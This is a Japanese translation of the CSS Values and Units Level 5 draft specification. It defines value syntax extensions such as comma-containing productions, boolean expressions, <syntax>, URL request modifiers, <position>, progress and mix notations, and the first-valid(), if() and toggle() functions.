1. 序章
これは CSS 値と単位 レベル 4 との差分仕様です。
1.1. モジュール間の関係
このモジュールは [CSS-VALUES-4] を拡張します。[CSS-VALUES-4] は [CSS21] の 1.4.2.1、4.3、 および A.2 節のデータ型定義を置き換えおよび拡張しています。
2. テキストデータ型
CSS Values 4 § 4 テキストデータ型 を参照。
3. 値の定義構文
さらに、
- 条件付き記法のブール結合。 これらは <boolean-expr[]> 記法を用いて記述され、 キーワードおよび括弧で再帰的なブール論理式を表します。 ブラケット内で指定された文法に適用し、 例えば <boolean-expr[ ( <media-feature> ) ]> で メディアクエリ を表します。
3.1. 関数記法の定義
CSS Values 4 § 2.6 関数記法の定義 を参照。
3.1.1. 関数引数内のカンマ
関数記法は、その内部文法の区切りとしてカンマを使用することが多いです。 しかし、いくつかの関数 (例えば mix() など)は 値自体がカンマを含むことを許可します。 これらの値 (現時点では <whole-value>、<declaration-value>、<any-value>)は カンマを含む生成式 です。
この種の文法を曖昧なく扱うために、 カンマを含む生成式は波括弧{}でラップすることができます(任意)。 これらの波括弧は構文上のみで実際の値の一部ではありません。 具体的には:
-
カンマを含む生成式は "{" トークンで始めてもよく、始めなくてもよいです。
-
もし "{" で始めない場合、 その中にはカンマや {} ブロックを含めることができません。 また、その生成式自体で定義された他の制限も適用されます。 (その時点でパース終了となるため、カンマや波括弧ブロックは次の文法要素で解釈されます。 たいていは関数自身の引数区切りのカンマになるでしょう。)
-
もし "{" で始まる場合、 その生成式は "{" トークンで始まる波括弧ブロック全体のみをマッチします。 そのブロックの中身が値となり、 かつその内容に特有の制限を適用し、{} ラッパー自体は無視します。
random-item ( <random-caching-options>, [ <declaration-value>?] #)
ここで # はカンマ区切りの繰り返しを表すので、 例えば3つのキーワードからランダムで選択する場合、 関数の通常の方法で以下のように書きます:
font-family : random-item ( --x, serif, sans-serif, monospace);
しかし、選択する値の中にカンマを含めたい場合があります。 そういった場合は値を{}でくくることで、 そのカンマが関数の引数区切りカンマとは別であると区別できます:
font-family : random-item ( --x, { Times, serif}, { Arial, sans-serif}, { Courier, monospace});
これにより、3つのフォントファミリーリスト Times, serif、Arial, sans-serif、Courier, monospace のうちどれかがランダムで選択されます。
これは all-or-nothing(全てかゼロか)ではありません。 必要な引数のみ{}で囲み、他はそのまま裸で書いても構いません。 また、必ずしも必須でない場合にも{}で囲んでよいです。例えば:
font-family : random-item ( --x, { Times, serif}, sans-serif, { monospace});
この場合は3つのフォントファミリーリスト Times, serif、sans-serif、monospace のいずれかを選択します。
ただし、この{}ラップは カンマを含む生成式 に対してのみ許可されます。 それ以外の生成式に{}を使うことはできません。 他の関数引数を{}でくくると関数の文法にマッチせず、無効になります。 例えば、以下は無効です:
background-image : linear-gradient ( to left, { red}, magenta);
注意: {} のラッパーは明示的に必要ない場合でも許可されているため、値にカンマが含まれるか不明な場合や 任意置換関数(例:var()) で値が途中で変わる可能性がある場合に予防的に{}でラップできます。 例えば font-family: random-item(--x, {var(--list1)}, monospace) は --list1 カスタムプロパティがカンマ区切りリストでもそうでなくても正しく動作します。
関数記法は 可能な限り {} ラッパー無しでシリアライズされます。
次の汎用生成式は カンマを含む生成式です:
後方互換理由のため、 <declaration-value> で定義された var() のフォールバック値は 非厳密カンマ生成式 です。 "{" トークンで始まらないときに含有できる内容の制限を無視し、 カンマや{}ブロックを含むことができます。 ただし "{" トークンで始まる場合は通常の カンマを含む生成式 ルールが適用され、 フォールバックは{}内部の内容だけになり、ラッパー自体は含みません。
他の文脈でも 非厳密カンマ生成式の使用が定義されることもありますが、 必要な場合のみそうすべきです。
3.2. ブール式乗算子 <boolean-expr[]>
いくつかの文脈 (@media、@supports、if() など)が 条件を指定し、 それらの条件をブール論理(and/or/not/グループ化)で組み合わせ可能としています。 これらはすべて同じ非自明な再帰構文を使うため、 特別な <boolean-expr[]> 生成式がこのパターンを一般化して表します。
<boolean-expr[]> 記法は角括弧の中に別の値型をラップし、 例えば <boolean[ <test> ]> のように使います。 そして単独の値型も、キーワード not、 and、or およびグループ化括弧を使う ブール論理結合も表します。 正式な定義は次の通りです:
<boolean-expr[ <test>] > = not <boolean-expr-group> | <boolean-expr-group>[ [ and <boolean-expr-group>] * |[ or <boolean-expr-group>] *] <boolean-expr-group> = <test> |( <boolean-expr[ <test>] >) | <general-enclosed>
<boolean-expr[]> 生成式は true, false, unknown のいずれかの値を表します。 その値の解釈は3値クレーネ論理によって行われ、 トップレベルのunknown値 (つまり他の <boolean-expr[]> 文法直下でないもの)はfalseとみなされます(特に指定なければ)。 詳細は 付録B: ブール論理 を参照。
<container-query> = <boolean-expr[ <cq-test>] > <cq-test> =( <size-query>) |style ( <style-query>) |scroll-state ( <scroll-state-query>) <size-query> = <boolean-expr[ ( <size-feature>) ] > | <size-feature> <style-query> = <boolean-expr[ ( <style-feature>) ] > | <style-feature> <scroll-state-query> = <boolean-expr[ ( <scroll-state-feature>) ] > | <scroll-state-feature>
<general-enclosed> 分岐は将来互換性のためにあります。 特に規定のない限り、新しい式は古いUAでは「unknown」と解釈され、生成式全体が無効になることを避けます。 その方針に合わせて、 <test> は <boolean-expr[]> 内で <general-enclosed> にマッチするよう定義すべきです。
3.3. CSS で構文記述: <syntax> 型
CSS のいくつかの機能(例えば attr() や 登録済みカスタムプロパティ など)は、 他の値をどうパースするかを指定可能です。 これは <syntax> 生成式で記述し、 これは仕様で使われるCSS 値定義構文 の制限付き形式に似ており、 構文定義を表します:
<syntax> = '*' | <syntax-component> [ <syntax-combinator> <syntax-component> ]* | <syntax-string>
<syntax-component> = <syntax-single-component> <syntax-multiplier>?
| '<' transform-list '>'
<syntax-single-component> = '<' <syntax-type-name> '>' | <ident>
<syntax-type-name> = angle | color | custom-ident | image | integer
| length | length-percentage | number
| percentage | resolution | string | time
| url | transform-function
<syntax-combinator> = '|'
<syntax-multiplier> = [ '#' | '+' ]
<syntax-string> = <string>
<syntax-component> は <syntax-type-name>(山括弧で囲む)、 または <ident> のいずれかで構成されます。前者は サポートされる構文コンポーネント名 のいずれかと対応し、 後者は キーワード を表します。 さらに <syntax-component> には 乗数(ミュルチプライヤ)を含めることもでき、 これは 値のリスト を表します。
注意: <length> と length は別の型です。
前者は <length>、
後者は keyword length をそれぞれ示します。
複数の <syntax-component> は コンビネータ
| <delim-token> で結合でき、
順に値に対して適用されます。
<percentage> | <number> | auto
上記を <syntax> としてパースすると、
<percentage>、<number>
の値、さらにキーワード auto を受け入れます。
* <delim-token> は 万能構文定義 を示します。
<transform-list> 生成式は <transform-function>+ と等価な簡略形です。ただし <transform-list> の後には <syntax-multiplier>
を続けてはいけません。
空白は
山括弧 <delim-token>(< >)と
それに囲まれる <syntax-type-name> の間には入れられません。
また 空白 は <syntax-multiplier>
の前にも記述できません。
注意: 空白
の制限は <transform-list> にも適用されます。
<syntax-string> は、値が <string> であり、これがCSS構文によるパースに成功する場合です。 そしてその <syntax> と同じ値を表します。
注意: <syntax-string> は 主に歴史的な理由で存在します。 <syntax> が定義される以前は、 @property 規則がこの目的に <string> を使っていました。
3.3.1. <syntax> としてのパース
<syntax> の目的は一般に「別の値」( 登録済みカスタムプロパティや attr() の属性値など)をどうパースするか指定することです。 しかし一般的な CSS構文によるパース アルゴリズムは 結果を未規定な内部構造として返します ― パース結果が曖昧になる場合、追加の処理が必要だからです。
こうした問題を避け、明確な結果を得るには <syntax>でパースする を使ってください:
-
component valueリストをパース し、 raw parse を得ます。
-
もし el が与えられていたなら 任意置換関数の置換 を raw parse へ行い、 その結果を raw parse に設定します。
-
CSS構文によるパースで values を syntax に従いパースします。 * 値は
<declaration-value>?として扱います。 parsed result をその結果とします。 syntax で | コンビネータが使われていた場合、最初に一致した節の結果を parsed result とします。 -
もし parsed result が失敗なら、 guaranteed-invalid value を返します。
-
アサーション: parsed result は今や一意に定義されたCSS値のリストである。 なぜなら、<syntax> の各分岐が曖昧でないよう定義されているため (あるいは * 構文自体が曖昧でないため)。
-
parsed result を返します。
注意: このアルゴリズムはパースした値を computed value へ解決しません。値の使われ方によって解決されることが多いですが、そうでない場合は呼び出し元アルゴリズムがそれを行う必要があります。
4. レベル4値型への拡張
CSS Values and Units Level 4 を参照してください。
4.1. リソースロケータ: <url> 型
CSS Values 4 § 4.5 リソースロケータ: <url> 型を参照してください。
4.1.1. リクエストURL修飾子
<request-url-modifier>は、<url-modifier> であり、<url> のリソースリクエストに関連したURLリクエスト修飾子ステップを適用して影響を与えます。 CSS Values 4 § 4.5.4 URL処理モデルも参照してください。
この仕様は、次の<request-url-modifier>を定義します:
<request-url-modifier> = <crossorigin-modifier> | <integrity-modifier> | <referrerpolicy-modifier> <crossorigin-modifier> =crossorigin ( anonymous | use-credentials) <integrity-modifier> =integrity ( <string>) <referrerpolicy-modifier> =referrerpolicy ( no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url)
- <crossorigin-modifier> = crossorigin(anonymous | use-credentials)
-
この修飾子のURLリクエスト修飾子ステップは、request
reqに対して以下の通りです:
-
与えられた値が use-credentials の場合は、request の credentials mode を "include" に設定します。
- <integrity-modifier> = integrity(<string>)
- この修飾子のURLリクエスト修飾子ステップは、request req の request の integrity metadata を、与えられた <string> に設定することです。
- <referrerpolicy-modifier> = referrerpolicy(no-referrer | no-referrer-when-downgrade | same-origin | origin | strict-origin | origin-when-cross-origin | strict-origin-when-cross-origin | unsafe-url)
- この修飾子のURLリクエスト修飾子ステップは、request
req に対し、request の referrer policy を、指定された値に一致する
ReferrerPolicyに設定します。
4.2. 2次元ポジショニング:<position> 型
<position> 値は、 アライメント対象(例: 背景画像)の位置を、 アライメントコンテナ(例: その背景配置エリア)の内部に 指定されたエッジ間のオフセットの組として示します (デフォルトは左端と上端)。 構文は次の通りです:
<position> = <position-one> | <position-two> | <position-four> <position-one> =[ left | center | right | top | bottom | x-start | x-end | y-start | y-end | block-start | block-end | inline-start | inline-end | <length-percentage>] <position-two> =[ [ left | center | right | x-start | x-end] &&[ top | center | bottom | y-start | y-end] |[ left | center | right | x-start | x-end | <length-percentage>] [ top | center | bottom | y-start | y-end | <length-percentage>] |[ block-start | center | block-end] &&[ inline-start | center | inline-end] |[ start | center | end] { 2 } ] <position-four> =[ [ [ left | right | x-start | x-end] <length-percentage>] &&[ [ top | bottom | y-start | y-end] <length-percentage>] |[ [ block-start | block-end] <length-percentage>] &&[ [ inline-start | inline-end] <length-percentage>] |[ [ start | end] <length-percentage>] { 2 } ]
値が一つだけ指定された場合(<position-one>)、 二つ目の値はcenterとなります。
2つの値が与えられた場合(<position-two>)、 先頭が<length-percentage>の場合は水平方向で、 アライメント対象の左端とアライメントコンテナの左端のオフセットを表します。 2つ目の<length-percentage>は それらの上端間の垂直オフセットを表します。
両方のキーワードがstartまたはendの場合、 一つ目がブロック軸、 二つ目がインライン軸を表します。
注: 軸固有のキーワードの組合せは順序を入れ替えることができますが、 キーワードとlength/percentageの組み合わせではできません。 center left または inline-start block-end は有効ですが、 50% left は無効です。start と end は軸固有ではないので、 start end と end start は異なる位置を示します。
4つの値が与えられた場合(<position-four>)、 それぞれの<length-percentage>は直前のキーワードで指定されたエッジ間のオフセットを表します。 例えば、background-position: bottom 10px right 20pxでは、 10px 分だけ下端から上向き、 20px 分だけ右端から左向きのオフセットを表します。
正の値はアライメントコンテナの端から内側へのオフセットです。 負の値はアライメントコンテナの端から外側へのオフセットです。
background-position : left10 px top15 px ; /* 10px, 15px */ background-position: left top; /* 0px, 0px */ background-position:10 px 15 px ; /* 10px, 15px */ background-position: left15 px ; /* 0px, 15px */ background-position:10 px top; /* 10px, 0px */
background-position : right3 em bottom10 px
算出値としての<position>は、 水平・垂直オフセットの組(両方共に算出された<length-percentage>値)として アライメント対象とアライメントコンテナの左端・上端間の距離を表します。
- <length-percentage>
-
<length-percentage> 値は、
アライメント対象とアライメントコンテナの指定エッジ間のオフセット量を示します。
例えば background-position: 2cm 1cm では、 背景画像の左上隅が 背景配置エリアの左上隅から 右へ2cm、下へ1cm配置されます。
水平方向の<percentage>は、 (アライメントコンテナの幅 - アライメント対象の幅) に対する割合です。 垂直方向の<percentage>は (アライメントコンテナの高さ - アライメント対象の高さ) に対します。
例えば、値の組が 0% 0% だと、 アライメント対象の左上隅が アライメントコンテナの左上隅に揃います。 100% 100% の場合は、 アライメント対象の右下隅がアライメントコンテナの右下隅に対応します。 75% 50%なら、 アライメント対象の横75%・縦50%の点が アライメントコンテナにおける同じ比率の点に配置されます。
background-position: 75% 50%の意味の図解 - top
- right
- bottom
- left
- right
- アライメント対象とアライメントコンテナのtop/left/right/bottom各エッジを (デフォルト0%で)指定量だけオフセットします。
- y-start
- y-end
- x-start
- x-end
- y-end
- [=y-axis|y/x軸] における start/end側の物理エッジキーワードと同じ計算です。
- block-start
- block-end
- inline-start
- inline-end
- block-end
- ブロック/インライン軸における、 start/end側の物理エッジキーワードと同じ計算です。
- center
- 対応軸で50%のオフセットに計算されます。
特に指示がない限り、フロー相対キーワードは、 値が指定された要素の書字モードにより解決されます。
注: background-positionプロパティは3値構文も受け入れます。 これはほかのlengthやpercentage成分と組み合わされたときに構文上の曖昧さを生むため一般的には禁止されています。
例:background-position のロングハンドにこの構文が どのように対応するかを定義する必要があります。例えば、いくつかのコンポーネントに var() が使われた場合。[Issue #9690]
4.2.1. <position> の構文解析
ほかのキーワード・<length>・<percentage>等と文法内で並んで指定されたとき、<position>はグリーディにパースされ、 できるだけ多くの構成要素を消費します。
4.2.2. <position> のシリアライズ
指定値の<position>をシリアライズする際:
- 構成要素が1つだけの場合:
-
-
暗黙の center キーワードが追加され、 2成分値としてシリアライズされます。
-
- 構成要素が2つの場合:
-
-
キーワードはキーワードとしてシリアライズされます。
-
<length-percentage>は <length-percentage>としてシリアライズされます。
-
構成要素は「先に水平方向、次に垂直方向」の順でシリアライズされます。
-
- 構成要素が4つの場合:
注: <position> の値は 単一値としてシリアライズされることはありません (単一値でも同じ挙動にはなりますが)、 これは一部の文法で <position> の後に <length> が並ぶ際にパース曖昧性が生じるのを避けるためです。 例:transform-originなど。
算出値の<position>は、 左端と上端からのオフセット(組となる<length-percentage>)のペアとしてシリアライズされます。
4.2.3. <position> の組み合わせ
補間は、 <position>各構成要素(x, y)ごとに 左上隅からのオフセット(<length-percentage>)として独立して行われます。
加算もまた <position>各構成要素(x, y)ごとに 左上隅からのオフセット(<length-percentage>)として独立して 加算 されます。
5. 補間進捗ファンクショナル表記
このセクションは試験的なドラフトであり、CSSWGによってまだ承認されていません。[Issue #6245]
progress()、media-progress()、およびcontainer-progress() ファンクショナル表記は、指定された値(progress value)が、ある値(progress start value)から別の値(progress end value)までの 割合的な距離を表します。 これらは、それぞれ数値関数、 メディアフィーチャ、 コンテナフィーチャの進捗率を共通の構文パターンで表現できます:
progress-function () =progress-function ( progress value from start value to end value)
それぞれは<number>としてprogress関数の計算を行い解決されます。
- progress start value と progress end value が異なる場合
-
( progress value - progress start value) /( progress end value - progress start value) - progress start value と progress end value が同じ場合
-
0、-∞、+∞ のいずれか。これはprogress valueが 指定値と等しい・小さい・大きいかによります。
注: 返り値は単なる <number> であり、 引数と型を自動的に整合させるものではありません。
得られた数値は、さらに他の計算、たとえば数値関数やmix表記に利用できます。
5.1. 計算進捗値: progress() 表記
progress() ファンクショナル表記は、 一つの<number>値として ある計算値(progress value)が 他の二つの計算値(progress start value・progress end value)の間の どこに位置するかを示します。progress()は数値関数 です。
progress() の構文は次のとおりです:
<progress () > =progress ( <calc-sum>, <calc-sum>, <calc-sum>)
最初、二番目、三番目の<calc-sum>値が それぞれprogress value、progress start value、progress end value を表します。
計算値引数は どの<number>、<dimension>、<percentage>にもなれますが、 引数の型が一致している必要があり、一致していない場合は無効です。
progress() の値は、まずprogress関数の計算で決定され、 その後引数群の一致型として型整合される<number>です。
percent-progress() のような表記が必要か、あるいは各所で自動変換されるから不要か?
注: progress()関数は、 本質的には特定のcalc()表記パターンの構文糖であり、 数値関数です。
5.2. メディアクエリ進捗値: media-progress() 表記
progress() 表記と同様に、 media-progress() ファンクショナル表記は、 指定されたメディアクエリ [MEDIAQUERIES-4] の 現在値を progress value として 明示的な2つの値(progress start value・progress end value)間の進捗率を <number>値で返します。
media-progress() の構文は以下の通りです:
<media-progress () > =media-progress ( <mf-name>, <calc-sum>, <calc-sum>)
media featureとして指定された<mf-name>の値が progress value を表し、 2つの<calc-sum> が progress start value およびprogress end value です。
指定されたmedia featureは有効な「範囲型」featureでなければならず、 progress start value・progress end value は 指定メディアクエリで有効な値である必要があります。 また2つの計算値は型が一致していなければ、関数は無効です。
progress start value と progress end valueの計算値は 機能が使われる文脈ではなく、そのmedia feature 指定として解釈されます。
media-progress()の値は<number>であり、 progress関数の計算で決定されます。
注: media-progress()は 数値関数ではありません; これは単に<number>を返す関数です。
5.3. コンテナクエリ進捗値: container-progress() 表記
container-progress() ファンクショナル表記は media-progress()と同様ですが、 コンテナフィーチャ [CSS-CONTAIN-3] を media features の代わりとして受け付ける点だけが異なります。
container-progress() の構文は次のとおりです:
<container-progress () > =container-progress ( <mf-name>[ of <container-name>] ?, <calc-sum>, <calc-sum>)
<mf-name> はサイズフィーチャを表し、オプションの <container-name> コンポーネントは どの名前付きコンテナで解決するかを指定します。 サイズフィーチャの値が progress value となり、 2つの <calc-sum> が progress start value と progress end value となります。
指定された<mf-name>は有効な サイズフィーチャでなければならず、 progress start value・progress end valueも そのサイズフィーチャで有効な値でなければなりません。 また、2つの計算値の型が一致しない場合は無効です。 container-progress()は プロパティ値の文脈でのみ有効です。 例: メディアクエリ内では使えません。
progress start value と progress end value の計算値は 文脈ではなく、指定されているサイズフィーチャの定義通りに解釈されます。 適切なコンテナが見つからない場合、container-progress()は <size-feature> クエリを 小さいビューポートサイズに対して解決します。
media-progress() の値は <number> であり、 progress関数の計算により算出されます。
注: container-progress()は 数値関数ではありません; これは単に<number>を返す関数です。
6. ミキシングと補間の表記: the *-mix() ファミリ
この機能は 複数のブレークポイントをうまく扱えない ことがあり、 再設計が必要かもしれません。 [Issue #6245]
CSS のいくつかの mix 表記 は、 2 つの値、 mix 開始値 と mix 終了値、 の間のある進行点での補間(mix 進行値)を表現できます。 これらの 関数表記 は次の構文パターンに従います:
mix-function () =mix-function ( <progress>, [ =mix start value|start-value=] , [ =mix end value|end-value=] )
CSS の mix 表記 には次のものが含まれます:
-
calc-mix()、 <length>、<percentage>、<time>、 および calc() 式で表現可能な他の次元の補間に使用されます
-
color-mix()、 2 つの <color> 値の補間に使用されます
-
cross-fade()、 <image> 値の補間に使用されます
-
palette-mix()、 2 つの font-palette 値の補間に使用されます
そして最後に、任意のプロパティ値の補間(ただしプロパティの個々のコンポーネントではなくプロパティの全体の値のみ)を表現できる汎用の mix() 表記があります。
注意: cross-fade() 表記には 2 つより多くの値を混ぜる代替構文もありますが、 <progress> のようなより複雑な表現は許可しません。
mix() 表記には キーフレームのセットを取るバリアントもあります。 これは @keyframes ルールを参照し、 そこから対応するプロパティ宣言を取り出すことで実現します。 他の mix 表記も keyframe を取れるようにしたいですが、 ではどのようにしてフルプロパティ値ではなく コンポーネント値 のためのキーフレーム集合を表現するかを考える必要があります。
6.1. 補間の進行を表現する: <progress> 型
値型 <progress> は mix 進行値 を表し、 最終的にはパーセンテージに決定されます。 ただし、そのパーセンテージ値はメディアクエリやアニメーションのタイムラインなどのソースから取得でき、 補間に使用する前に イージング関数 を通して変換することもできます。
その構文は次のように定義されます:
<progress> =[ <percentage> | <number> | <'animation-timeline' >] &&[ by <easing-function>] ?
ここで:
- <percentage-token>
-
同等の <number>
に計算されます:
0% は 0、100% は
1 になる、など。
注意: これは 15% のようなリテラルのパーセンテージのみを許可します; calc(100% / 7) のような計算は機能せず、代わりに通常の文脈でのパーセンテージ解決ルール(例えば <length> に対する解決)を試みます。 代わりに calc(1 / 7) のような式を使用してください。
- <number>
-
mix 進行値 を表します。
注意: これは progress()、 media-progress()、 および container-progress() 表記の使用を許可します。
- <'animation-timeline'>
- 指定された アニメーションタイムライン の進行として mix 進行値 を表します。 ただし値 none と auto は無効です。[CSS-ANIMATIONS-2] [WEB-ANIMATIONS-2]
- <easing-function>
- 指定された入力の mix 進行値 を、指定された イージング関数 を用いて出力の mix 進行値 に変換します。 [CSS-EASING-1]
注意: 0 未満および 1 を超える進行値は有効です; これらは開始値と終了値で定義される範囲を超えた補間を表現することを可能にします。
注意: <progress> 自体は <percentage> になり得て、 同等の <number> に直接マップされますが、 解決される関数(例えば progress())は文脈の通常のルールを使って <number> を解決し、例えば width では長さに対して解決されます。
パーセンテージまたは数値で指定された 計算済み値 の <progress> は、 (あれば)<easing-function> を通した数値に変換された計算済みの <number> です。 計算済み値 としての <progress> が <'animation-timeline'> で指定されている場合は、計算済みの <'animation-timeline'> と(あれば)<easing-function> になります。
6.2. 数値および次元値の補間: calc-mix() 表記
calc-mix() は mix 表記 で数値または次元の補間値を表します。 calc() と同様に、これは 数学関数 であり、 構文は次のとおりです:
<calc-mix () > =calc-mix ( <progress>, <calc-sum>, <calc-sum>)
引数の <calc-sum> は、任意の <number>、<dimension>、または <percentage> に解決できますが、 一貫した型 を持たなければ関数は無効になります。 結果の型は 一貫した型 であり、進行値の型に合わせて整合化 されます。
有効な calc-mix() の 使用値 は、これら 2 つの値を <progress> によって与えられる進行に補間した結果です。 もし <progress> が <number> に計算できるならば、 計算済み値 も同様にこれら 2 つの計算済み値をその <progress> 値に補間した結果になります; (言い換えれば A * (1-progress) + B * progress) そうでない場合は、各引数がそれぞれの型に従って計算された状態のまま calc-mix() 表記自体になります。
6.3. 色の補間値: color-mix() 表記
この仕様は color-mix() の 関数表記 を mix 表記 として拡張し、次の構文を受け入れます:
<color-mix () > =color-mix ( [ <progress> && <color-interpolation-method>?] , <color>, <color>) |color-mix ( <color-interpolation-method>, [ <color> && <percentage[ 0 , 100 ] >?] #{ 2 } )
最初の mix 表記 バリアントの使用値は、 第二のバリアントにおける第二引数の <progress> 値を、 <percentage> として割り当てることと等価です。 つまり、color-mix(progress, color1, color2) は color-mix(color1, color2 progress) と等価です。 第二のバリアントの規定の正規定義については CSS Color 5 § 3 Mixing Colors: the color-mix() Function を参照してください。
<progress> は 0–100% の外側のパーセンテージを返すことを許可しますが、 color-mix() はそのような値を許可しないため、 それがどのように処理されるかを定義する必要があります。
6.4. 画像の補間値: cross-fade() 表記
この仕様は cross-fade() の 関数表記 を mix 表記 として拡張し、次の構文を受け入れます:
<cross-fade () > =cross-fade ( <progress>, [ <image> | <color>] , [ <image> | <color>] ) |cross-fade ( <cf-image>#)
最初の mix 表記 バリアントの使用値は、 第二のバリアントにおける第二引数の <progress> 値を、 <percentage> として割り当てることと等価です。 つまり、 cross-fade(progress, image1, image2) は cross-fade(image1, image2 progress) と等価です。 第二バリアントの正規定義については CSS Images 4 § 2.6 Combining images: the cross-fade() notation を参照してください。
6.5. 変形の補間値: transform-mix() 表記
transform-mix() は mix 表記 で <transform-list> の補間を表し、 構文は次の通りです:
<transform-mix () > =transform-mix ( <progress>, <transform-list>, <transform-list>)
有効な transform-mix() の 使用値 は、これら 2 つの値を <progress> によって与えられる進行に補間した結果です。 もし <progress> が <percentage> に計算でき、 かつ <transform-list> が使用値時間情報なしで補間可能であれば、 計算済み値 も同様にその <progress> 値に補間した 2 つの計算済み値の結果になります; そうでない場合は、各引数がそれぞれの型に従って計算された状態のまま transform-mix() 表記自体になります。
transform-mix() 自身は <transform-function> です。
6.6. プロパティ値の補間: mix() 表記
任意の 2 つのプロパティ値の補間 は mix() mix 表記 によって表現でき、 これは 2 つの代替構文パターンをサポートします:
<mix () > =mix ( <progress>, <whole-value>, <whole-value>) |mix ( <progress> && of <keyframes-name>)
最初の構文代替は、他の mix 表記 と同様に、 最初の <whole-value>(その mix 開始値) と 2 番目の <whole-value>(その mix 終了値)の間を補間します。 2 番目のものは mix 進行値 を使って keyframes のセットから対応するプロパティ宣言を補間し、より複雑な補間曲線を可能にします。
標準の mix 表記 バリアントについて、 もし mix() によって補間される 2 つの <whole-value> がそのプロパティの値として 補間可能 であり、かつ補間された値が mix() を使わずに表現できるならば、 mix() の 計算済み値 はこれら 2 つの値を <progress> によって与えられた進行に補間した結果になります。 それ以外の場合、mix() の 計算済み値 は、mix() の 関数表記 自体であり、 その <progress> 値が計算され、 (提供されていれば)その <whole-value> がこのプロパティの値として計算されます。
color : mix ( 90 % , red, blue); /* 単純な補間を経て計算される: */ color:rgb ( 10 % 0 90 % ); color : mix ( 90 % , currentcolor, black); /* 計算済み値時に完全には解決できないが、定義された表現は持つ: */ color:color-mix ( currentcolor90 % , black10 % ); float : mix ( 90 % , left, right); /* 離散的にアニメーション可能 */ float: right;
しかし、いくつかのケースは中間表現を持ちません:
transform : mix ( 90 % , translate ( calc ( 1 em +50 % )), rotate ( 30 deg )); /* 関数が一致しないため matrix() を介して補間されます。 しかし translate(%) は matrix() に変換するためにレイアウト情報を必要とするので、 補間された値は実際には表現できません。 計算結果: */ transform:mix ( 90 % , translate ( calc ( 16 px +50 % )), rotate ( 30 deg )); transform : mix ( 90 % of ripple);
mix() 表記は <whole-value> です。 さらに、その <whole-value> 引数のいずれかが アニメーション不可 の場合、 その表記は無効になります。
/* 無効な開始値 */ color:mix ( 90 % , #invalid, #F00); /* 関数が他の値と混在している */ background:url ( ocean ) mix ( 10 % , blue, yellow); /* 'animation-*' はアニメーション不可 */ animation-delay:mix ( 0 % , 0 s , 2 s );
7. その他の値置換関数
7.1. プロパティ全体の値の表現: <whole-value> 型
この仕様で定義されたいくつかの関数は、 プロパティの「全体の値」としてのみ使用できます。 例えば、background-position: toggle(50px 50px, center); は有効ですが、 background-position: toggle(50px, center) 50px; は無効です。 <whole-value> 生成規則はこれらの値を表します。
すべてのプロパティは暗黙に <whole-value> を値全体として受け入れます。 これは、CSS全域キーワード をプロパティの値全体として受け入れるのと同様です。
関数の構成要素値として使われる場合、<whole-value> は そのプロパティの「全体の値」として通常有効な任意のCSS値(追加の <whole-value> 関数を含む)も表します。 ただし、一部の関数では <whole-value> 引数に含めることができるものを制限する場合があります。
7.2. 最初にサポートされる値の選択: first-valid() 表記
CSSは前方互換のパースによる段階的拡張をサポートしています。 作者はスタイル規則内で同じプロパティを複数回宣言できます。 それぞれ異なる値を使って記述し、 CSS UAは自動的に最後に理解できるものを使い、それ以外を無視します。 この原則と @supports 規則を組み合わせることで、 古いUAと新しいUAの両方でうまく動作するスタイルシートを記述できます。
しかし、var()(やパース後に解決される類似の置換関数)を使うと この機能が妨げられます。 CSS UAはそのようなプロパティをパース時点で有効だとみなさなければなりません。
first-valid() 関数表記は 宣言のパースに内在するフォールバック動作をインライン化します。 ほとんどの表記とは異なり、 引数に任意の有効・無効な構文を受け入れることができ、 その引数のうちUAがそのプロパティの値全体としてサポートする(有効とみなす)最初の値を代表します。
<first-valid () > =first-valid ( <declaration-value>#)
いずれの引数もそのプロパティの有効な値を表さない場合、 そのプロパティは計算値時に無効になります。
first-valid() は <whole-value> です。
この名前で良いでしょうか? 追加を決議した際に十分に決まらなかったため、再検討の余地があります。
注: 実質的に <whole-value> を引数として取るように見えますが、 first-valid() は代わりに <declaration-value> を取ると定義されています。 なぜなら本質的に その値が宣言内で無効になるかもしれない場合に使うことが意図されているためです。 <declaration-value> は <whole-value> とは異なり、文脈上の有効性制約を課しません。
7.3. 条件付き値選択: if() 表記
if() 表記は 条件付き値を表現する任意置換関数です。 引数は順序付けされたセミコロン区切りの文のリストであり、 各文は条件に続けてコロン、さらに値が続く形です。 if() 表記は、 引数リスト内で最初に条件が true となったものに対応する値を表します。 一致する条件がない場合、 if() 表記は空のトークンストリームを表します。
if() 表記の構文は次の通りです:
<if () > =if ( [ <if-condition> : <declaration-value>?; ] * <if-condition> : <declaration-value>?; ?) <if-condition> = <boolean-expr[ <if-test>] > | else <if-test> =supports ( [ <supports-condition> | <ident> : <declaration-value>] ) |media ( <media-query>) |style ( <style-query>)
else キーワードは 常にtrueとなる条件を表します。
if()関数を解決するには、 最初にtrueとなる <declaration-value>? に対応する値を返します。 いずれもtrueでなければ 何も返さず(空のトークンストリーム)とします。
注: @media/@supports/@container 規則のように 偽の場合に中身を無視し、カスケードによって適用値が決まるのとは違い、 if() を使った宣言では 条件が偽の場合もカスケードがロールバックされません。 フォールバック値はインラインで与える必要があります。
7.4. 値の切り替え: toggle() 表記
toggle() 式は 子孫要素が同じ値を継承する代わりに 値リストを循環して利用することを可能にします。
ul{ list-style-type : toggle ( disc, circle, square, box); }
toggle() 式の構文は次の通りです:
<toggle () > =toggle ( <whole-value>#)
toggle() 表記は <whole-value> です。 ただし入れ子にすることはできません。 また attr() や calc() 表記は含めてはいけません。 これらを含む宣言は無効となります。
background-position : 10 px toggle ( 50 px , 100 px ); /* toggle() はプロパティ唯一の値でなければならない */ list-style-type:toggle ( disc, 50 px ); /* 50px は 'list-style-type' の有効な値ではない */
toggle() の計算値を求めるためには、 まず toggle() が置かれるプロパティの唯一値だったと仮定し各引数の計算値を評価します。 これを toggle() の n 番目の引数について Cn とします。 そしてプロパティの継承値と各 Cn を比較します。 継承値と一致した最初の Cn について、 toggle() の計算値は Cn+1 となります。 一致が最後の引数または一致がなかった場合は toggle() の計算値は最初の引数の計算値となります。
注: toggle() 内で値が重複するとリストがその時点で打ち切られます。 例えば toggle(1em, 2em, 1em, 4em) は実質的に toggle(1em, 2em) と等価です。
注: toggle() は明示的に親の計算値を見ているため、 非継承プロパティでも動作します。 これは inherit キーワードと似ています。
